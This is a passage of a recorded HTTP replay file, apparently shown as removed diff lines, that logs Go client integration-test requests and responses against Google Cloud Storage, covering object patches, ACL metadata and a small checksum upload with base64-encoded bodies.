"eyJjb250ZW50RW5jb2RpbmciOiJpZGVudGl0eSJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3299" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:14 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpyrF7U9KSc3XcJb-T_KGf3Fg2yhFUjJqTl06wpqqhG5IT6chgLCWKnLTuamfHtVq8XcP7acZy4TGyKIEvZ4L36TGTfSM8Zp_JyF8K4rN5p375VBMc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiMTYiLCJvYmplY3RTaXplIjoiMTYiLCJkb25lIjp0cnVlLCJyZXNvdXJjZSI6eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajEvMTU1NjgzNTg1NDc0NzU0MyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvcHktb2JqMSIsIm5hbWUiOiJjb3B5LW9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NDc0NzU0MyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoxNC43NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MTQuNzQ3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjE0Ljc0N1oiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiU25hL1VXdjdtY1pJMjNvRTV0VWFiUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvcHktb2JqMT9nZW5lcmF0aW9uPTE1NTY4MzU4NTQ3NDc1NDMmYWx0PW1lZGlhIiwiY29udGVudEVuY29kaW5nIjoiaWRlbnRpdHkiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajEvMTU1NjgzNTg1NDc0NzU0My9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb3B5LW9iajEvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvcHktb2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODU0NzQ3NTQzIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNKZVA0c0R4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajEvMTU1NjgzNTg1NDc0NzU0My9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29weS1vYmoxL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29weS1vYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NTQ3NDc1NDMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSmVQNHNEeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxLzE1NTY4MzU4NTQ3NDc1NDMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvcHktb2JqMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvcHktb2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODU0NzQ3NTQzIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKZVA0c0R4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajEvMTU1NjgzNTg1NDc0NzU0My91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29weS1vYmoxL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29weS1vYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NTQ3NDc1NDMiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSmVQNHNEeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IkNUNmRUQT09IiwiZXRhZyI6IkNKZVA0c0R4L2VFQ0VBRT0ifX0=" - } - }, - { - "ID": "c199412d75fadc45", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj1?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "193" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJhY2wiOlt7ImVudGl0eSI6ImRvbWFpbi1nb29nbGUuY29tIiwicm9sZSI6IlJFQURFUiJ9XSwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiY29udGVudExhbmd1YWdlIjoiZW4iLCJjb250ZW50VHlwZSI6InRleHQvaHRtbCIsIm1ldGFkYXRhIjp7ImtleSI6InZhbHVlIn19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2046" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:15 GMT" - ], - "Etag": [ - "CLnS+bvx/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqKO5A_yihnTzTSNbXxyLm-I3MkyC58APsD1U6RZ5_xpjjjL3nXVZIyACkeiDKXRZyU_oP1Yt0FeX23ONp6JeNyoy0J0kW8GwGMgPeN1ATdWGzCMXs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxIiwibmFtZSI6Im9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsIm1ldGFnZW5lcmF0aW9uIjoiMiIsImNvbnRlbnRUeXBlIjoidGV4dC9odG1sIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoxNS4yMjBaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDQuNjQ2WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJTbmEvVVd2N21jWkkyM29FNXRVYWJRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMT9nZW5lcmF0aW9uPTE1NTY4MzU4NDQ2NDcyMjUmYWx0PW1lZGlhIiwiY29udGVudExhbmd1YWdlIjoiZW4iLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJtZXRhZGF0YSI6eyJrZXkiOiJ2YWx1ZSJ9LCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUvZG9tYWluLWdvb2dsZS5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9kb21haW4tZ29vZ2xlLmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6ImRvbWFpbi1nb29nbGUuY29tIiwicm9sZSI6IlJFQURFUiIsImRvbWFpbiI6Imdvb2dsZS5jb20iLCJldGFnIjoiQ0xuUytidngvZUVDRUFJPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBST0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiQ1Q2ZFRBPT0iLCJldGFnIjoiQ0xuUytidngvZUVDRUFJPSJ9" - } - }, - { - "ID": "c845025158c6b7d0", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj1?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "120" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjb250ZW50TGFuZ3VhZ2UiOm51bGwsImNvbnRlbnRUeXBlIjpudWxsLCJtZXRhZGF0YSI6bnVsbH0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "1970" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:15 GMT" - ], - "Etag": [ - "CLnS+bvx/eECEAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UryOVdmGzCqBOS2ZZ0nw1SqbHF7qJ1CeTxgb6a1BJyoA42NTNZ8RdEVQGNF5u2hWdSQW79cBOonxjms_MoogyDJVAtKHl1rys87QHF6-750NNNSoEw" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxIiwibmFtZSI6Im9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsIm1ldGFnZW5lcmF0aW9uIjoiMyIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNC42NDZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MTUuNTI3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiU25hL1VXdjdtY1pJMjNvRTV0VWFiUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajE/Z2VuZXJhdGlvbj0xNTU2ODM1ODQ0NjQ3MjI1JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9kb21haW4tZ29vZ2xlLmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL2RvbWFpbi1nb29nbGUuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ0NjQ3MjI1IiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDTG5TK2J2eC9lRUNFQU09In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS8xNTU2ODM1ODQ0NjQ3MjI1L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ0NjQ3MjI1IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0xuUytidngvZUVDRUFNPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJDVDZkVEE9PSIsImV0YWciOiJDTG5TK2J2eC9lRUNFQU09In0=" - } - }, - { - "ID": "811b0b9d4980b14f", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoiY2hlY2tzdW0tb2JqZWN0In0K", - "aGVsbG93b3JsZA==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3305" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:16 GMT" - ], - "Etag": [ - "CIGhrMHx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqJTh_P91pby-vQkRF12GexDihy7TZAlUPamDV_REldvXeqvbrWY_kB0Vcp1lYyuIY7EK2_eMBYYSRMMIVEYz5fxxt51-9Br_UmYvnuRgjhfC16AuA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jaGVja3N1bS1vYmplY3QvMTU1NjgzNTg1NTk2MjI0MSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NoZWNrc3VtLW9iamVjdCIsIm5hbWUiOiJjaGVja3N1bS1vYmplY3QiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NTk2MjI0MSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoxNS45NjFaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MTUuOTYxWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjE1Ljk2MVoiLCJzaXplIjoiMTAiLCJtZDVIYXNoIjoiL0Y0RGpUaWxjRElJVkVIbi9uQVFzQT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NoZWNrc3VtLW9iamVjdD9nZW5lcmF0aW9uPTE1NTY4MzU4NTU5NjIyNDEmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY2hlY2tzdW0tb2JqZWN0LzE1NTY4MzU4NTU5NjIyNDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY2hlY2tzdW0tb2JqZWN0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjaGVja3N1bS1vYmplY3QiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NTk2MjI0MSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDSUdock1IeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY2hlY2tzdW0tb2JqZWN0LzE1NTY4MzU4NTU5NjIyNDEvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NoZWNrc3VtLW9iamVjdC9hY2wvcHJvamVjdC1lZGl0b3